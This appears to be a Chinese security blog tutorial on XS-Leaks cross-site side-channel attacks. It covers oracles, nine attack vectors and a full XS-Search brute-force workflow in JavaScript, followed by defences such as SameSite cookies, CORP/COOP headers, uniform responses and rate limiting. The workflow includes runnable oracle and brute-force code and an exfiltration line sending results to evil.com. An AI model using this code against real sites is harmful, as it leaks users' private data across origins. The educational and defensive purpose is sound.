XS-Leaks跨站泄漏:从侧信道oracle到用户数据枚举

导语:XS-Leaks(Cross-Site Leaks)不是新漏洞类别,而是把同源策略的”小缝隙”用到了极致。攻击者不直接读响应内容,而是通过浏览器暴露的侧信道——状态码、frame 数、加载时长、缓存命中——做”是否”的二元判断,把一个完整字符串拆成 N 次 Yes/No 查询拼回去。


一、XS-Leaks 是什么

XS-Leaks 全称 Cross-Site Leaks。Same-Origin Policy(同源策略)虽然堵死了跨域读响应内容,但浏览器在跨域请求时仍然会泄露一堆行为差异——这是天然的 oracle 来源。

把这些差异做成 Y/N 查询,就能拼出目标应用的状态。攻击面有多大?答案是几乎所有涉及跨域请求、跨域导航、跨域嵌入的场景都可能中招。

1.1 Cross-Site Oracle

XS-Leaks 的核心是”二元 oracle”。oracle 不是数据库那个 oracle,是一个只回答 Yes/No 的查询机制

问:用户 Harsh 是否存在于应用?
答:是 → 用户存在
答:否 → 用户不存在

一次 oracle 只拿 1 bit 信息。但攻击者可以发起成千上万次请求,把每一位 bit 拼回去——最终拼出一封邮件、一个搜索词、一条交易记录。

oracle 的来源五花八门:HTTP 状态码、错误事件、frame 数、加载耗时、缓存命中与否、PostMessage 监听……这些都是浏览器侧信道。

XS-Leaks攻击原理

1.2 一个简单例子

假设 bank.com 有个 API 返回用户的某类交易记录:

GET https://bank.com/my_receipt?q=groceries
  • 用户最近买过 groceries → 返回 200
  • 用户没买过 groceries → 返回 404

evil.com 在用户访问时构造一个 。浏览器会自动带上 Cookie,跨域请求照样发出,但 evil.com 读不到响应内容。

不过浏览器会通过 Error Event 暴露结果:

const s = document.createElement('script');
s.src = 'https://bank.com/my_receipt?q=groceries';
s.onerror = () => console.log('Miss: 404');
s.onload = () => console.log('Hit: 200');
document.head.append(s);

q 换成 rentgasmedical……能推断出用户完整的消费记录。


二、九大攻击向量

XS-Leaks 的攻击面来自浏览器各组件。下面按实战价值从高到低排序,列出九条主流路线。

2.1 XS-Search(最经典)

把搜索引擎、邮箱搜索、好友搜索这种”query → 命中”的接口作为 oracle,逐字符爆破:

?search=h  → Hit(首字母 h 命中)
?search=ha → Hit
?search=hb → Miss(ha 已锁定,下一位往 a 走)

最终把命中字符串拼接出来。Google、Facebook、Gmail 都曾因这个被爆出过大规模数据泄漏。

2.2 Error Events

通过 onerror、onload 监听跨域资源加载结果。前面银行例子就是典型用法,HTTP 状态码(200 vs 404)会触发不同事件。Twitter、Facebook 等大型应用都曾因这个泄漏过用户关系链。

2.3 Frame Counting

window.length 返回当前页面 frame 数量。某些应用根据用户状态渲染不同数量的 iframe——比如已登录显示 3 个,未登录显示 1 个。

const iframe = document.createElement('iframe');
iframe.src = 'https://target.com/dashboard';
iframe.onload = () => {
  console.log('frames:', iframe.contentWindow.length);
};

2.4 Navigation Attacks

跨域导航的 redirect 链长度、是否触发 window.open 拦截、URL hash 是否改变,都能作为 oracle。例如某应用根据用户权限 redirect 到不同路径,可以通过 redirect 链差异做权限枚举。

2.5 Cache Probing

浏览器 HTTP 缓存是公开可探测的——fetchno-store 重发请求,根据响应时间差异判断之前是否被缓存过。能推断出”用户是否访问过某个 URL”,是钓鱼和社交工程的好帮手。

2.6 ID Attribute

部分前端框架把数据塞进 DOM 属性,比如

。跨域情况下虽然读不到 iframe 内容,但某些老浏览器或特殊配置下能通过 ID 引用差异做 oracle。现代浏览器基本堵死,但老项目里仍有残存。

2.7 PostMessage Broadcasts

页面里如果有跨域 PostMessage 监听,攻击者从 evil.com 发送消息,根据目标页面是否回应判断状态。比如某些 SSO 系统会根据登录状态回不同消息,间接暴露用户登录情况。

2.8 滥用 CORB / CORP

CORB(Cross-Origin Read Blocking)和 CORP(Cross-Origin Resource Policy)是浏览器用来阻断跨域读响应的。但它们的阻断行为本身是 oracle——某些应用在不同状态返回不同 MIME 类型,CORB 阻断与否会触发不同的事件,能被利用。

2.9 Timing Attacks

最精细但最难打的方向。攻击者通过测量请求耗时推断后端逻辑:

Clock Based      → performance.now() 测整体耗时
Network Timing   → 看 Connection Reused 还是新连接
Execution Timing → 测 JS 执行时长(间接反映响应大小)
Hybrid Timing    → 多种信号混合
Connection Pool  → 浏览器连接池耗尽时新请求会排队

Timing 攻击对网络环境要求高,但配合 XS-Search 能把误判率压到极低。

XS-Search爆破工作流

三、XS-Search 完整工作流

把上面所有能力串起来,标准 XS-Search 攻击分四步:

第一步:定义 Hit / Miss 判定标准

function testOracle(query) {
  return new Promise(resolve => {
    const img = new Image();
    img.src = `https://target.com/api/search?q=${query}&cb=${Date.now()}`;
    img.onerror = () => resolve(false);  // 404 → Miss
    img.onload = () => resolve(true);    // 200 → Hit
  });
}

第二步:从第一个字符开始爆破

const charset = 'abcdefghijklmnopqrstuvwxyz0123456789';
let result = '';

async function brute() {
  for (let pos = 0; pos < 20; pos++) {
    for (const ch of charset) {
      const candidate = result + ch;
      const hit = await testOracle(candidate);
      if (hit) {
        result = candidate;
        console.log('Found so far:', result);
        break;
      }
    }
  }
}

第三步:处理歧义

某些应用对部分匹配也返回 Hit,需要做”长字符串回退”——发现 hha 都命中时优先取更长的,避免误判。

第四步:外带结果

拿到完整字符串后通过 fetch('https://evil.com/collect?d=' + result) 或 WebSocket 把数据外带。注意:这条 fetch 必须放在 evil.com 自己的上下文里,不能用 target 域。


四、防御方案

XS-Leaks 防御面很广,因为 oracle 散布在浏览器各个组件。最实用的几条:

4.1 SameSite Cookie 强制

SameSite=LaxStrict 能阻断大部分跨域自动带 Cookie 的请求,把 XS-Leaks 的入口堵死一半。这是 2020 年 Chrome 默认开启后,XS-Leaks 实际影响力下降的主要原因。

4.2 跨域响应头加固

  • Cross-Origin-Resource-Policy: same-origin 限制跨域嵌入
  • Cross-Origin-Opener-Policy: same-origin 阻断 window.opener 引用
  • Cross-Origin-Embedder-Policy: require-corp 强制 CORP

4.3 状态码统一

不同状态返回相同长度、相同 MIME、相同 header 的响应,让 oracle 失效。很多 XS-Leaks 利用 200 vs 404 的差异,把 404 也改成 200 响应 + 空 body,攻击面立刻小一半。

4.4 接口限速 + 风控

XS-Search 的特征是短时间高频相似请求。配合 WAF 风控 + 业务限速,识别后直接封 IP 或弹验证码,能极大提升攻击成本。

4.5 Frame-Options / CSP

X-Frame-Options: DENY 和严格的 CSP(frame-ancestors 'none')能堵掉大部分 frame counting 攻击。


五、总结

XS-Leaks 不会直接 RCE,也不会直接偷 Cookie,但它能做一件更隐蔽的事——把跨域接口变成 oracle,逐 bit 推断出整个用户数据库。

防御它没有银弹,只能从 Cookie、响应头、状态码、风控四路并进。下次看到接口 ?search= 这种 query endpoint,自问一下:如果有人每天发几十万次相似请求,会泄漏什么?

© 版权声明
THE END
喜欢就支持一下吧
点赞9 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容